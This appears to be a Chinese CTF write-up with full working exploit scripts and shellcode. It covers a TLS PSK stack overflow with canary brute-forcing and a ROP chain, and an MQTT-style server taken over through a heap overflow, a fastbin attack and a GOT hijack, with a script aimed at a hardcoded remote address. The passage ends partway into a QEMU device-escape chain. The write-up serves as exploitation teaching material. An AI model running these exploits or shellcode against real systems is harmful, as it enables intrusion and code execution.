        s.sendall(b"\x15\x03\x03\x00\x02\x02\x28")
        buf, dl, first = b"", time.time() + 1.2, None
        while time.time() < dl:
            s.settimeout(0.35)
            try:
                d = s.recv(4096)
            except socket.timeout:
                if buf: break
                continue
            except Exception:
                break
            if not d: break
            buf += d
            if b"error" in buf: return True
            if first is None: first = time.time()
            elif time.time() - first > 0.15: break
        return b"error" in buf
    finally:
        try: s.close()
        except Exception: pass
​
def brute_canary():
    canary = b""
    for i in range(8):
        for b in range(256):
            if try_canary(canary + bytes([b])):
                canary += bytes([b]); print("[+] canary:", canary.hex()); break
        else:
            raise RuntimeError("byte %d not found" % i)
    return canary
​
# ---------------- ROP + shell ----------------
STAGE2 = bytes.fromhex("6a045f31f66a21580f05ffc66a21580f05ffc66a21580f05"
                       "4831f65648bf2f62696e2f73680057545f6a3b58990f05")
​
def make_ident(canary, fd=SOCKFD):
    chain = [POP_RAX, 10, POP_RDI, SCRATCH, POP_RSI, 0x1000, POP_RDX, 7, SYSCALL,
             POP_RDI, fd, POP_RSI, SCRATCH, POP_RDX, 0x200, SYSCALL, SCRATCH]
    return MAGIC + b"\x00" + b"P"*(0x58-33) + canary + b"R"*8 + \
        b"".join(struct.pack("<Q", v) for v in chain)
​
def pwn(canary):
    s = socket.create_connection((HOST, PORT), timeout=5)
    ident = make_ident(canary)
    s.sendall(record(22, client_hello(ident, b"S"*len(ident), PSK)))
    s.settimeout(1.0); buf = b""
    try:
        while len(buf) < 245:
            d = s.recv(4096)
            if not d: break
            buf += d; s.settimeout(0.2)
    except socket.timeout:
        pass
    s.sendall(b"\x15\x03\x03\x00\x02\x02\x28")  # 触发 info 回调 memcpy
    time.sleep(0.3)
    s.sendall(STAGE2)              # 二段 shellcode 由 read(4,...) 读入
    time.sleep(0.4)
    return s
​
def sh(s, cmd, t=1.5):
    s.sendall(cmd.encode() + b"\n"); time.sleep(0.5)
    out = b""; s.settimeout(t)
    try:
        while True:
            d = s.recv(8192)
            if not d: break
            out += d; s.settimeout(0.3)
    except socket.timeout:
        pass
    return out.decode(errors="replace")
​
if __name__ == "__main__":
    canary = bytes.fromhex(sys.argv[1]) if len(sys.argv) > 1 else brute_canary()
    s = pwn(canary)
    print(sh(s, "id"))
    print(sh(s, "cat /home/ctf/flag /flag 2>/dev/null"))

flag 为:

flag{e17a75032670d5df9a28077b982b0d5d}

考点补充

  • 核心考点:本题把 TLS 1.3 外部 PSK 握手的协议细节当成前置条件 —— 必须按 RFC 8446 用硬编码的 48 字节 hex 与 32 字符身份算出 PSK,再用正确的 transcript 哈希算 binder 才能连上。真正的漏洞是 info 回调里 memcpy 的长度 0x970f68 被 SNI 长度覆盖,在没有 <= 0x40 检查的分支把堆上的 PSK 身份按 SNI 长度拷进 0x58 字节的栈缓冲。

  • 关键技巧:服务的 accept 循环连 fork 三次,每条连接都由父进程 fork 出的孙进程处理,栈布局完全一致,因此 canary 恒定、可以逐字节爆破;判据是溢出时进程 abort 收不到 error,未溢出时 alert 后仍会 write 回 5 字节 error。身份用「32 字符 + \x00 + 载荷」既通过 strlen 校验又让 idlen 可控,是绕过长度检查的关键。

  • 常见坑:Derive-Secret 的 context 必须是 Transcript-Hash(Messages),空消息要取 SHA384("") 而非空串,否则 binder 永远对不上;supported_versions 的列表长度是 1 字节(02 03 04),写成 2 字节会被 alert 50 decode_error;pre_shared_key 必须放在扩展最后,cipher suite 只能是 0x1302。

  • 延伸:溢出只有 255 字节且栈不可执行,只能先 mprotect(0x972000,0x1000,7) 把 .bss 改成 RWX,再读入 dup2+execve 的二段 shellcode;mprotect 返回 0 恰好等于 read 的系统调用号,因此链上可以省一个 pop rax。也可以练习把这条链换成 ret2libc/ORW 以适配不同的静态链接环境。

oldsvr

服务端是一个自定义的 MQTT 风格二进制,从 stdin 读取报文、向 stdout 写回响应,因此可以直接用 socket 连接远端交互。固定头为“类型/标志字节 + remaining length varint”,负载按报文类型解析。CONNECT、SUBSCRIBE、UNSUBSCRIBE、PUBLISH、PINGREQ 等类型均有对应处理函数,订阅列表保存在 .bss 的 14 个 32 字节槽中。

表 1 漏洞链总览

阶段

位置/入口

作用

认证绕过

CONNECT 0x3200 / 0x18f0

strncmp 在摘要第三字节 0x00 处提前结束

堆地址泄漏

sub_37D8

free 后回显 payload,泄漏 0x30 块 chunk 头

堆溢出

SUBSCRIBE 0x3e80

0xFFFF+1 按 u16 截断为 0,malloc(1) 后 memcpy 272

fastbin 注入

0x3e80 / malloc(0x40)

覆盖 V->fd 为 free@GOT-0x10

GOT 劫持

第二次 class-0x40 SUBSCRIBE

malloc 返回 free@GOT,memcpy 写入 shellcode 地址

代码执行

主循环 memset

经 memset@GOT 跳入堆上 shellcode,读取 /flag

主要报文类型及其用途如下。SUBSCRIBE/UNSUBSCRIBE 的负载在 topic 前有一个 2 字节 packet id;PUBLISH 的 topic 直接以 2 字节长度开头,QoS 由固定头低 4 位决定。

表 2 主要报文类型

类型

值

用途

CONNECT

1

认证,建立客户端上下文

PUBLISH

3

向订阅 topic 发布 payload

SUBSCRIBE

8

订阅 topic,分配名字缓冲

UNSUBSCRIBE

10

取消订阅,free 名字与 payload

PINGREQ

12

递增 ctx[3],保持连接

DISCONNECT

14

结束主循环

测试环境:Python 3 + socket 完成报文构造与交互;MIPS64 大端汇编使用 mips64-linux-gnuabi64-as/objcopy 生成 shellcode;本地用 qemu-mips64-static 与题目附带的 ld64/libuClibc 进行验证。

认证绕过

CONNECT 解析入口为 0x3200,其中 0x18f0 先检查协议名与固定字段:协议名必须是 MQTT(长度 4),版本为 4,flags 必须为 0xC2,keepalive 必须为 0x4321。随后依次解析客户端 ID、用户名、口令三个长度前缀字符串。客户端 ID 必须是 QWB_Client。用户名字段在网络上传输的是 QWB2026_Admin;服务端会逐字节与 0x1d 异或,再与常量 LJ_/-/+B\ypts 比较,因此发包时需要对后者异或 0x1d。口令为 1540124。

代码 1 CONNECT 报文示例

10 2e
00 04 4d 51 54 54                       # protocol name: MQTT
04                                      # level
c2                                      # flags
43 21                                   # keepalive 0x4321
00 0a 51 57 42 5f 43 6c 69 65 6e 74     # client id: QWB_Client
00 0d 51 57 42 32 30 32 36 5f 41 64 6d 69 6e   # username: QWB2026_Admin
00 07 31 35 34 30 31 32 34              # password: 1540124

口令校验先计算 MD5(password),再与 rodata 0x6e98 的 16 字节常量逐字节异或 0x59,最后用 strncmp 比较。0x6e98 异或 0x59 后为 52 2a 00 e8 8c a7 ...,第三字节是 0x00;strncmp 在遇到这个 0x00 时提前结束,因此实际上只比较前 3 个字节。

只要 md5(password) 的前 3 字节为 52 2a 00 即可通过。md5("1540124") = 522a005b d3a3e13a 1e12905f a42a9110,前三字节正好匹配。服务端返回 20 02 00 00,表示认证成功。

订阅与 PINGREQ 门控

订阅 QWB2026_News(topic 长度 12)时,0x3e80 会把客户端上下文的 ctx[2] 置 1。之后每收到一个 PINGREQ,0x4968 会检查 ctx[1](认证状态)和 ctx[2],并把 ctx[3] 加 1;连续发送 6 次 PINGREQ 后 ctx[2]=1、ctx[3]=6。注意这里递增的是客户端上下文 ctx[3],不是报文缓冲的 packet[3];这也是为什么必须在 PUBLISH 之前先发满 6 次 PINGREQ。

堆地址泄漏

向 QWB2026_News 发布 payload 时,PUBLISH 处理函数先为 payload 分配缓冲;随后 sub_37D8 在特殊订阅分支中执行:

代码 2 sub_37D8 的特殊分支(伪代码)

tmp = malloc(12 + cap);   // 12 字节 topic 名 + payload 长度
free(tmp);                // 立即释放
if (cap > 0 && cap < 0x21)
    free(payload);        // payload 也被释放
if (ctx[2] == 1 && ctx[3] == 6)
    send_publish("QWB2026_News", payload, cap); // 释放后回显
free(payload);
payload = NULL;
cap = 0;

payload 被 free 后进入 fastbin,其用户地址前 8 字节(fastbin fd)指向先前释放的 tmp 块。0x2584 随后的回显读取的正是这块已经释放的 payload,因此前 8 字节就是 tmp 块的 chunk 头地址。

回包格式为 34 28 + 2 字节 topic 长度 + QWB2026_News + 2 字节 packet id + payload。payload 的前 8 字节即泄漏值 N1,body 偏移 16 处取 8 字节即可。

代码 3 泄漏回包格式

34 28 00 0c 51 57 42 32 30 32 36 5f 4e 65 77 73   # QWB2026_News
00 01                                             # packet id
<8 bytes N1> <16 bytes 原 payload>

该临时块在堆上的位置固定为 base + 0x220f0,因此 PIE base = N1 - 0x220f0。后续所有地址(A、V、free@GOT 等)都从这个 base 推算。

表 3 PUBLISH payload 长度的影响

payload 长度

payload 块

tmp 块

结果

17

0x20

0x30

0x2610 的 0x20 临时缓冲复用 payload,回显被覆盖

24

0x30

0x30

可用;payload fd = tmp chunk 头,泄漏 N1

32

0x30

0x40

payload fd 为 NULL,无地址可泄漏

因此泄漏步骤固定使用 24 字节 payload(0x41..0x58)。

堆溢出:SUBSCRIBE 长度截断

SUBSCRIBE 解析在 0x3e80。topic_len 为 u16;代码先把 len+1 存回 u16,再以该值加 1 调用 malloc。当 len=0xFFFF 时,(u16)(0xFFFF+1)=0,实际只分配 1 字节;随后只把 len 截断到 0x110=272,memcpy 272 字节,造成 271 字节堆溢出。

代码 4 SUBSCRIBE 长度截断(伪代码)

len = parse_u16(packet + n + 3);   // n = varint 字节数
if (len == 0) return;
u16 alloc = (u16)(len + 1);        // 0xFFFF + 1 -> 0
p = malloc(alloc + 1);             // malloc(1)
memset(p, 0, alloc + 1);           // 1 字节
if (len > 0x110)
    len = 0x110;                   // 272
memcpy(p, packet + n + 5, len);    // 272 字节写入

对应报文为 82 95 02 00 09 FF FF <272 bytes> 00。remaining length = 2+2+272+1 = 277 = 0x115,varint 为 95 02;声明的 0xFFFF 只影响 len,服务端实际读取多少由 remaining length 决定。

0x3e80 之后会把 malloc(1) 的返回地址 p 和 0xFFFF 存入订阅槽。本利用不需要 UNSUB 命中该槽;真正的触发点是后续主循环的 memset GOT。

grooming 与堆布局

CONNECT 成功后会 free 客户端 ID、用户名、口令三个 0x20 块。为了让 malloc(1) 落在 A、并让 V 留在 fastbin 中,需要先做一轮订阅/退订布局。

表 4 grooming 后的堆布局

对象

地址/偏移

说明

ctx

base+0x22080

calloc(1,16),ctx[2]/ctx[3] 用于回显门控

A

base+0x220a0

CONNECT client id;malloc(1) 的溢出目的地

B

base+0x220c0

CONNECT username;0x2610 的 0x20 临时缓冲

C

base+0x220e0

CONNECT password;QWB2026_News 名字

S1

base+0x22100(头 +0x220f0)

0x30;泄漏值 N1 就是它的 chunk 头

S2

base+0x22130(头 +0x22120)

0x30;PUBLISH payload

V

base+0x22160(头 +0x22150)

0x40;输出缓冲,fastbin victim

Guard

base+0x221a0(头 +0x22190)

0x30;阻止 V 与 top 合并

free@GOT

base+0x20220

劫持目标

fake chunk

base+0x20210

free@GOT-0x10

memset@GOT

base+0x20248

触发入口

shellcode

base+0x220a0

即 A

grooming 顺序:

  1. CONNECT 成功后,client id/username/password 三个 0x20 块按 A、B、C 顺序释放,fastbin 头为 C→B→A。

  2. 订阅 S1(30 字节)、S2(30 字节)、V(54 字节)、Guard(30 字节),分别得到 0x30、0x30、0x40、0x30 块。Guard 分配在 V 之后,防止 free(V) 与 top 合并。

  3. UNSUBSCRIBE S1/S2/V,把三个块释放到 fastbin;Guard 保持占用。

  4. 订阅 QWB2026_News(12 字节),消费 C(base+0x220e0)。

  5. 连发 6 次 PINGREQ,使 ctx[3]=6。

  6. PUBLISH QWB2026_News 24 字节:payload 请求 25 字节,取走 S2;sub_37D8 的临时块请求 36 字节,取走 S1;free 临时块 S1,再 free payload S2;0x2610 再分配两个 0x20 块(B、A)和一个 0x40 输出块 V,结束时 B、A、V 依次释放。此时 fastbin 0x20 头为 A→B,0x30 头为 S2→S1,0x40 头为 V。

  7. 回显的 payload 是 S2,其 fd 为 S1 的 chunk 头 base+0x220f0,即 N1。

为什么需要 Guard:如果 V 紧邻 top,free(V) 会被合并进 top,fastbin 0x40 中没有 V,后续两次 malloc(0x40) 就无法按预期弹出 V 和 fake。

fastbin 注入与 GOT 劫持

SUBSCRIBE 0xFFFF 的 malloc(1) 弹出 fastbin 0x20 的头 A(base+0x220a0)。V 的用户地址是 base+0x22160 = A+0xC0;fastbin fd 位于用户地址 +0,因此 V->fd 就是溢出数据偏移 0xC0。

把 V->fd 改为 fake = free@GOT - 0x10 = base + 0x20210。第一次 malloc(0x40) 弹出 V,fastbin 头变为 fake;第二次 malloc(0x40) 返回 fake+0x10 = free@GOT。

表 5 272 字节溢出数据的布局

溢出偏移

内容

值

0x00..0x5F

shellcode

96 字节 MIPS64 机器码

0x80

路径字符串

/flag + 0x00

0xB0

V.prev_size

0

0xB8

V.size

0x41(0x40 | PREV_INUSE)

0xC0

V.fd

base+0x20210

0xF0

Guard.prev_size

0

0xF8

Guard.size

0x31

V 的 chunk 头在 A+0xB0:prev_size=0、size=0x41。fake chunk 的 size 字段位于 base+0x20218,运行时是加载器写入的 base+0x20000,并不是 0x40;在该 uClibc 版本的 fastbin 路径中实测不校验 size,仍能返回。Guard 头也写成 0/0x31,避免溢出破坏 Guard。

fastbin 链变化:fastbin[0x40]: V(0x22160) -> fake(0x20210);第一次 malloc 后 fastbin[0x40]=fake,第二次 malloc 返回 free@GOT。

SUBSCRIBE 的 topic_len=L,malloc 请求 L+2。uClibc 的 request2size 约为 align_up(req+8,16)(最小 0x20);L=48 → 请求 50 → chunk 0x40。两次 L2 SUBSCRIBE 都固定用 48 字节 topic。

第一次 L2 SUBSCRIBE(pid=10)弹出 V,把 48 字节 filler 写入 V;fastbin 头变成 fake。第二次 L2 SUBSCRIBE(pid=11)弹出 fake,malloc 返回 free@GOT;随后 memset(free@GOT,0,50)、memcpy(free@GOT,data,48)。data 每 8 字节写一个 shellcode 地址 A(base+0x220a0)。

表 6 GOT 覆写布局

data 偏移

GOT 地址

函数

0x00

0x20220

free

0x08

0x20228

__register_frame_info

0x10

0x20230

strlen

0x18

0x20238

__errno_location

0x20

0x20240

stderr

0x28

0x20248

memset

0x30

0x20250

__uClibc_main(仅前 6 字节)

0x20248 的 memset GOT 被写成 A。第二次 SUBSCRIBE 的 SUBACK 由 0x2d4c 用 write(GOT 0x20298,未被覆盖)发出,因此还能看到 90 03 00 0b 01。之后主循环回到 0x439c,在 0x440c 调用 memset(buf,0,0x18011),经 0x20248 跳到 A。

注意:memset 的调用目标是在 GOT 被清零之前已经取出的;清零发生在 fake malloc 的 memset 内部,随后 memcpy 又把 memset GOT 写回 A。

第一次 L2 SUBSCRIBE 的 memcpy 会把 48 字节写到 A+0xC0..A+0xEF;如果用 54,会写到 A+0xF5,覆盖 A+0x80 附近的路径/消息以及 A+0xF0 的 Guard 头。改用 48 后,路径放在 A+0x80,既不被第一次 L2 覆盖,也不影响 V 头(0xB0)和 Guard 头(0xF0)。

MIPS64 shellcode

MIPS64 n64 系统调用号:open=5002、read=5000、write=5001。shellcode 放在 A(base+0x220a0),长度 96 字节;路径 /flag 放在 A+0x80,读缓冲放在 A+0xA0。

关键汇编如下:

代码 5 读取 /flag 的 MIPS64 shellcode

    bal 1f
    nop
1:  move t0, ra
    daddiu s0, t0, 0x78    # path = A+0x80
    daddiu s1, t0, 0x98    # buf   = A+0xA0
    li v0, 5002            # open
    move a0, s0
    move a1, zero
    move a2, zero
    syscall
    move s2, v0
    li v0, 5000            # read
    move a0, s2
    move a1, s1
    li a2, 0x200
    syscall
    move s3, v0
    li v0, 5001            # write
    li a0, 1
    move a1, s1
    move a2, s3
    syscall
loop:
    b loop
    nop

为什么用 s0-s3:该环境下 syscall 前后 t0/t1 不可靠。第一版用 t1 保存读缓冲,open 返回后跳到错误地址直接 SIGSEGV;改成 callee-saved 的 s 寄存器后稳定。

为什么路径在 A+0x80:第一次 class-0x40 SUBSCRIBE 的 48 字节 memcpy 从 A+0xC0 开始,若路径放在 A+0xC8 会被 X 填充覆盖。早期测试中回显的 6 字节是 XXXXXX 而不是 PWNED,就是这个原因。

末尾 b . 保持连接,避免 shellcode 退出后包装器先关闭 socket 导致 flag 丢失。触发后先收到第二次 SUBSCRIBE 的 SUBACK 90 03 00 0b 01,紧接着 main loop 的 memset 跳到 A,执行 open/read/write,输出 flag。

完整机器码(96 字节)如下,脚本中的 SC 常量与之一致:

代码 6 shellcode 机器码

041100010000000003e0602565900078659100982402138a
0200202500002825000030250000000c0040902524021388
0240202502202825240602000000000c0040982524021389
2404000102202825026030250000000c1000ffff00000000

完整利用脚本

以下脚本与远端利用时使用的版本一致,包含报文构造、grooming、泄漏解析、堆溢出与 GOT 劫持;SC 为 96 字节 MIPS64 大端 shellcode。

代码 7 oldsvr 完整利用脚本

import socket, struct
​
HOST, PORT = '47.105.126.181', 2883
K = 0x220f0
​
SC = bytes.fromhex(
    '041100010000000003e0602565900078659100982402138a02002025'
    '00002825000030250000000c00409025240213880240202502202825'
    '240602000000000c0040982524021389240400010220282502603025'
    '0000000c1000ffff00000000'
)
​
​
def varint(n):
    out = b''
    while True:
        b = n & 0x7f
        n >>= 7
        out += bytes([b | 0x80]) if n else bytes([b])
        if not n:
            return out
​
​
def pkt(t, flags, body):
    return bytes([(t << 4) | flags]) + varint(len(body)) + body
​
​
def sstr(x):
    return struct.pack('>H', len(x)) + x
​
​
def connect_pkt():
    vh = sstr(b'MQTT') + bytes([4, 0xc2, 0x43, 0x21])
    user = bytes(c ^ 0x1d for c in b'LJ_/-/+B\ypts')
    body = sstr(b'QWB_Client') + sstr(user) + sstr(b'1540124')
    return pkt(1, 0, vh + body)
​
​
def sub(topic, pid, qos=0):
    return pkt(8, 2, struct.pack('>H', pid) + sstr(topic) + bytes([qos]))
​
​
def unsub(topic, pid):
    return pkt(10, 2, struct.pack('>H', pid) + sstr(topic))
​
​
def pub(topic, data):
    return pkt(3, 0, sstr(topic) + data)
​
​
def sub_overflow(data272, pid):
    return pkt(8, 2, struct.pack('>H', pid) +
               b'\xff\xff' + data272 + b'\x00')
​
​
def build_ov(base):
    buf = bytearray(272)
    buf[:len(SC)] = SC
    buf[0x80:0x86] = b'/flag\x00'
    struct.pack_into('>Q', buf, 0xb0, 0)
    struct.pack_into('>Q', buf, 0xb8, 0x41)
    struct.pack_into('>Q', buf, 0xc0, base + 0x20210)
    struct.pack_into('>Q', buf, 0xf0, 0)
    struct.pack_into('>Q', buf, 0xf8, 0x31)
    return bytes(buf)
​
​
def recv_all(s, t=0.5):
    s.settimeout(t)
    out = b''
    while True:
        try:
            d = s.recv(65536)
            if not d:
                break
            out += d
        except socket.timeout:
            break
    return out
​
​
s = socket.create_connection((HOST, PORT))
s.sendall(connect_pkt()); print(recv_all(s).hex())
for topic, pid in [(b'A'*30, 1), (b'B'*30, 2),
                   (b'V'*54, 3), (b'G'*30, 4)]:
    s.sendall(sub(topic, pid)); print(recv_all(s).hex())
for topic, pid in [(b'A'*30, 5), (b'B'*30, 6), (b'V'*54, 7)]:
    s.sendall(unsub(topic, pid)); print(recv_all(s).hex())
s.sendall(sub(b'QWB2026_News', 8)); recv_all(s)
for _ in range(6):
    s.sendall(pkt(12, 0, b''))
recv_all(s)
s.sendall(pub(b'QWB2026_News', bytes(range(0x41, 0x59))))
out = recv_all(s)
i = out.find(b'\x34')
body = out[i+2:i+2+out[i+1]]
N1 = struct.unpack('>Q', body[16:24])[0]
base = N1 - K
print('N1', hex(N1), 'base', hex(base))
s.sendall(sub_overflow(build_ov(base), 9)); print(recv_all(s).hex())
s.sendall(sub(b'X'*48, 10)); print(recv_all(s).hex())
got = bytearray(48)
for off in range(0, 48, 8):
    struct.pack_into('>Q', got, off, base + 0x220a0)
s.sendall(sub(bytes(got), 11))
print(recv_all(s, 2.5))

远端验证

远端 1883 在测试时连接被拒绝;2883 正常。两次独立连接均返回同一 flag:

flag{1ec6896ee054f9cab370a5a8473c30ee}

回包在第二次 SUBSCRIBE 的 SUBACK 之后紧接 flag 字节:

代码 8 远端输出(节选)

90 03 00 0b 01 66 6c 61 67 7b 31 65 63 ... 7d

图1 oldsvr 的利用链与 flag

环境说明:本地 qemu-user 8.2 对 guest heap 实施 NX,在 A 处会 SIGSEGV;远端环境允许堆上取指,因此同一 shellcode 在远端可执行。若在本地复现,需使用允许 guest 堆执行的 qemu 或直接在远端验证。

考点补充

  • 核心考点:自定义 MQTT 风格协议逆向与认证绕过,串起 strncmp 遇 0x00 提前结束、u16 截断堆溢出(0xFFFF+1→0,malloc(1) 后 memcpy 272)、fastbin fd 篡改劫持 GOT,最终经主循环 memset@GOT 跳入堆上 MIPS64 shellcode 读取 /flag。

  • 关键技巧:利用释放后回显读出 fastbin fd(固定偏移 base+0x220f0)反推 PIE base;用订阅/退订 grooming 让 malloc(1) 落在 A、V 落入 fastbin[0x40],并留 Guard 块阻止 V 与 top 合并;fake chunk 取 free@GOT-0x10,使第二次 malloc(0x40) 恰好返回 GOT 表项,再用 48 字节 topic 同时覆写 6 个 GOT 项。

  • 常见坑:门控递增的是 ctx[3] 而非报文里的 packet[3],必须发满 6 次 PINGREQ 才回显;payload 要选 24 字节(0x30 块),17 会被临时缓冲复用覆盖、32 会让 fd 为 NULL;两次 L2 SUBSCRIBE 若用 54 字节会盖掉 A+0xF0 的 Guard 头和 A+0x80 的路径;本地 qemu-user 8.2 对 guest heap 实施 NX,需允许堆上取指才可复现。

  • 延伸:fake chunk 的 size 字段是被加载器写成 base+0x20000 的非法值却仍被分配,说明该 uClibc 的 fastbin 路径缺少 size 校验;MIPS64 n64 下 open=5002、read=5000、write=5001,且 syscall 前后 t 系列寄存器不可靠、须用 callee-saved 的 s 寄存器,这两点可直接迁移到其他 MIPS64 堆利用场景。

ez_qemu

1. 题目信息与运行环境

本题附件给出一套完整的远程环境:Dockerfile、docker-entrypoint.sh、run.sh、ctf.xinetd、guest/(vmlinuz、initramfs.cpio.gz)以及 qemu/(qemu-system-x86_64、pc-bios/)。线上由 xinetd 监听端口,每个连接 fork 一次 run.sh,再用 timeout 600 启动一个 QEMU 实例,命令行固定为:

qemu-system-x86_64 -M q35 -m 512M -accel tcg -no-reboot -display none -monitor none \
 -serial stdio -device ctf-nic -device ctf-watchdog -device ctf-audio \
 -device ctf-logger -device ctf-msg -kernel vmlinuz -initrd initramfs.cpio.gz \
 -L pc-bios -append "console=ttyS0 rdinit=/init quiet"

客户机是 Linux 5.11 + 纯 busybox 的 initramfs:/init 装好 busybox、挂载 proc/sys/devtmpfs、打印 READY_FOR_ESC 后直接 exec /bin/sh,串口就是 root shell;initramfs 里没有 /tmp 目录。容器入口脚本会创建 /tmp/flag_f(root:ctf,740),而 QEMU 以 ctf:ctf 运行——也就是说 QEMU 进程本身就有权限读这个文件,只要能拿到宿主侧代码执行(或让 QEMU 替我们执行一条命令),flag 就会直接打到串口上。

qemu-system-x86_64 是 7.0.0 自行编译的(二进制里残留 /home/ai/Desktop/qemu_go/game/qemu-7.0.0/hw/ctf/ 这类源码路径),已 strip,PIE。除 QEMU 自带的 e1000e、VGA 等设备外,题目用 -device 额外挂了 5 个自定义 PCI 设备:厂商号都是 0x1234,设备号 0x1001~0x1005(ctf-nic、ctf-watchdog、ctf-audio、ctf-logger、ctf-msg),每个设备只有一个 4KB 的 BAR0。

2. 静态分析:把 5 个自定义设备逆出来

2.1 方法

二进制虽然 strip 了,但保留了完整的 TypeInfo 和 QOM 类型注册。我们写了一个基于 pyelftools + capstone 的小工具:先从 .data.rel.ro 的重定位表里按 TypeInfo 结构(name、parent、instance_size、class_init 指针)把 5 个设备类型找出来,再从 class_init 找到 realize,从 realize 里的 memory_region_init_io 找到 MemoryRegionOps(read/write 函数指针),最后用 capstone 反汇编 MMIO 回调,把 addr & ~3 的跳表和寄存器语义还原出来。这里有两个便利:这个 QEMU 是 -O0 编译的(参数和局部变量都在栈上、调用不内联),反汇编几乎等价于源码;设备的 MMIO 回调统一用一张 16 槽跳表分发,寄存器与槽位一一对应,很好对。

2.2 设备寄存器与对象布局

偏移均相对于设备状态结构体:

ctf-nic (0x1001)
 0x00/0x04 tx_desc u64 读写    0x08 tx_len 读
 0x0c   tx_ctrl 写 bit0 触发 TX 0x10/0x14 rx_desc u64 读写
 0x18   rx_len 读        0x1c rx_ctrl 写 bit0 触发 RX
 0x20 status 读 0x24 irq 写 0x28 slot 状态 读 (gen<<16)|(state&0xffff)
  内部: 0xb10=&g_slot_obj 0xb18 tx_desc 0xb20 rx_desc 0xb28 tx_ctrl
    0xb2c rx_ctrl 0xb30 tx_len 0xb34 rx_len 0xb38 status 0xb3c irq
    0xb40 txbuf[0x800] 0x1340 rxbuf[0x800]
ctf-watchdog (0x1002)
 0x00 timeout_ms 读写    0x04/0x08 写: arm(timer_mod)
 0x0c 写: stop(timer_del)  0x10 写: reset(新建对象+释放旧对象)
 0x14 读: status=1|(state==1?2:0)|(state==2?4:0)|(gen<<16)
 0x18/0x1c msg_guest_addr u64
 0x20 写: msg_len -> set_message(min(len,0x3f) 从 guest 拷到 obj+8)
 0x24 写: ensure(槽空则 create)  0x28 写: free timer(释放对象并清槽)
ctf-audio (0x1003)
 0x00 写: alloc(g_malloc0(0x58)) 0x04 写: free(g_free 并清空)
 0x08/0x0c guest_src u64     0x10 copy_len
 0x14 写: write_data(min(len,0x50) 从 guest 拷进 buffer)
 0x18 写: process(对 buf[0..min(buf->len,0x50)) 求和)
 0x1c/0x20 读写 buf->len / buf->fmt
ctf-logger (0x1004)
 0x00/0x04 guest_src u64  0x08 off  0x0c len
 0x10 写: 触发 copy    0x14 读: status 0x18 读: trans_len 0x1c 读: 0x1000
ctf-msg (0x1005)
 0x00 写: create(g_malloc(0x40), [0]=puts, +8="maybe uaf here")
 0x04 写: free(不清空 obj 指针)  0x08 写: invoke(call [obj], rdi=obj+8)
 0x0c 读: state==1        0x10 读: 0x40
ctf_timer (0x58, g_malloc0_n(1,0x58))
 +0x00 QEMUTimer *ts  +0x08 char msg[0x40]  +0x48 notify = puts
 +0x50 u32 state    +0x54 u32 generation
audio buffer (0x58, g_malloc0(0x58)): data[0x50] @0, len @0x50, fmt @0x54
msg object (0x40, g_malloc(0x40)): [0]=puts, +8 字符串, +0x38 = 0
g_slot_obj @ 0x1254128(nic 与 watchdog 共用)
2.3 关键 API 与对象生命周期

DMA 走 PCI bus master 地址空间(pci_dma_read/pci_dma_write),地址是 guest 物理地址,因此可以指向任意 guest 物理页,包括其它设备的 MMIO BAR。watchdog 用 QEMUTimer 实现:create 时 g_malloc0_n(1,0x58) 求出 ctf_timer,同时 timer_new_ms 出 QEMUTimer;timer_free 内部会先 timer_del,因此 arm/stop/reset/free 各条路径都不会留下悬垂 timer。msg 的 free 只 g_free(obj) 并把 state 置 2,不清空 obj 指针,invoke 会 call [obj]——看起来是 UAF,但对象是 g_malloc(0x40)(0x50 chunk),自定义代码里没有 0x40~0x48 的分配能把它回收,属于出题人放的诱饵(字符串还写着 "maybe uaf here")。

3. 漏洞

3.1 ctf-logger:0x1000 - off 的下溢,越界 DMA

ctf_logger_copy 的关键代码如下:

memset(buf, 0, 0x1000);
room = 0x1000 - off;       // off 为 u32,64 位减法,off > 0x1000 时下溢
trans = min(len, room);
if (trans) dma_write(s, s->guest_src, buf + off, trans);  // 宿主栈 -> guest

off 超过 0x1000 后 room 变成极大值,trans 直接取 len(最多 0x10000),于是把 buf+off 处的宿主栈内容拷回 guest。取 off = 0x1010、len = 0x80,客户机拿到的就是 [rbp](+0x1010)和 ctf_logger_copy 的返回地址(+0x1018,固定偏移 0x4132c7)。这里我们一开始把 DMA 方向看反了,以为是把 guest 数据写到宿主栈上,按“栈溢出”折腾了很久;实际上它是 host->guest 的越界读,本身就是一个干净的 PIE 泄漏原语。

3.2 ctf-nic:DMA 重入 + 悬垂 slot 对象(可利用的 UAF)

ctf_nic_rx 在所有 DMA 之前就把 *s->slot(全局 g_slot_obj,内容即 watchdog 最近创建的 0x58 ctf_timer 对象)读进栈变量,三次 DMA 结束之后才用它做回调:

obj = *s->slot;                  // 先缓存
dma_read(desc); ... dma_write(...); ...      // 三次 DMA 的目标由描述符完全控制
...
if (obj) ((void (*)(char *))obj->notify)(obj->msg); // call [obj+0x48], rdi = obj+8

QEMU 允许 DMA 写打到别的设备 MMIO,于是这三次写在 RX 内部形成重入,可以依次做三件事:1) 写 WD+0x28,把当前 slot 的 timer 对象 free 掉(槽被置空,但栈上的 obj 仍是老指针);2) 写 AUD+0x00,g_malloc0(0x58) 分配 audio buffer;3) 写 AUD+0x14,触发 write_data,把 guest 里准备好的 0x50 字节拷进这个 buffer。只要第 2 步拿到的正好是第 1 步刚释放的那块 0x58,第 3 步就等于往这块“已经释放但仍被函数栈引用”的内存里写了一份完全由我们控制的内容;RX 返回前那句 call [obj+0x48] 就会跳到我们写在 +0x48 的地址,rdi = obj+8 就是我们写在 +8 的字符串。

3.3 排除的路径

watchdog 的 timer_free 内部有 timer_del,timer 本身没有悬垂;msg 的 UAF 因为尺寸对不上、没有可回收的分配点,只能当诱饵。能同时做到“释放 + 同尺寸复用 + 悬垂调用”的只有 nic RX 这一条链。

4. 利用链

Step 0:准备一块“已知 guest 物理地址”的内存。 mmap 一页、memset 触发缺页、mlock,再读 /proc/self/pagemap 拿到 PFN,得到客户机物理地址 pa(root 有 CAP_SYS_ADMIN,该接口可用)。纯 shell 版也可以用 0x9fc00(EBDA,/proc/iomem 中标为 Reserved,STRICT_DEVMEM 下仍可读写)当 scratch,只是只有 1KB 且要用 devmem。

Step 1:logger 泄漏 PIE。 把 logger 的 guest_src 设为 pa、off = 0x1010、len = 0x80,写 0x10 触发;从 p+8 读回 8 字节 ret,校验 (ret & 0xfff) == 0x2c7 且 ret >= 0x1000000000(PIE 段地址),然后 base = ret - 0x4132c7,system_plt = base + 0x2e2c90。这两个偏移都来自对附件里这个 qemu-system-x86_64 的反汇编(logger 的返回点、system 的 PLT stub)。

